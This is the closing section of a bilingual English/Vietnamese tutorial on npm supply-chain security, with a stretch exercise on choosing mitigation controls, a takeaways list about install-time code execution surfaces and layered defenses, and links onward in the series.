Stretch {Nâng cao}: In the mitigation scorecard, find the smallest set of controls that drives residual risk to LOW, then argue which single control you’d add first to a legacy project that currently builds native modules and can’t simply set ignore-scripts=true {Trong scorecard, tìm tập control nhỏ nhất đưa rủi ro về LOW, rồi lập luận control nào bạn thêm đầu tiên cho project legacy đang build native module}.


Key takeaways {Điểm chính}

  • npm install is code execution — the publisher (and everyone in the dependency tree) can run code on your machine/CI {npm install là thực thi code — người publish và cả cây phụ thuộc chạy được code}.
  • The surfaces are lifecycle scripts (most common), transitive deps, git prepare, bin shadowing/typosquats, and the runtime entrypoint {Bề mặt: lifecycle scripts, transitive, git prepare, bin/typosquat, entrypoint runtime}.
  • --ignore-scripts blocks lifecycle hooks only — it does nothing for bin shadowing or runtime code {--ignore-scripts chỉ chặn lifecycle hook — không cứu bin shadow hay code runtime}.
  • Defend in layers: ignore-scripts default, npm ci + lockfile + pinning, sandboxed install with no secrets and blocked egress, integrity/provenance checks, and runtime least privilege {Phòng thủ nhiều lớp}.
  • The trust boundary is the whole dependency tree, audited via the lockfile diff, not just your direct dependencies {Biên tin cậy là cả cây phụ thuộc, rà bằng diff lockfile}.

Sources {Nguồn}


The series {Series}

This is the first bonus part on top of the core ten and the advanced track (Parts 11–16); it continues into Part 18 — Reverse Tabnabbing & window.opener {Đây là phần bonus đầu trên nền mười phần lõi và nhánh nâng cao (Phần 11–16); tiếp tục sang Phần 18 — Reverse Tabnabbing}. The throughline from Part 10 holds one more time, now at the build layer: trust nothing you did not produce — not browser input, and not the code you install — until it has been verified on a surface you own {Sợi chỉ xuyên suốt từ Phần 10 đúng thêm một lần nữa, lần này ở tầng build: đừng tin thứ gì bạn không tự tạo ra — kể cả code bạn cài — cho tới khi được verify trên bề mặt bạn sở hữu}.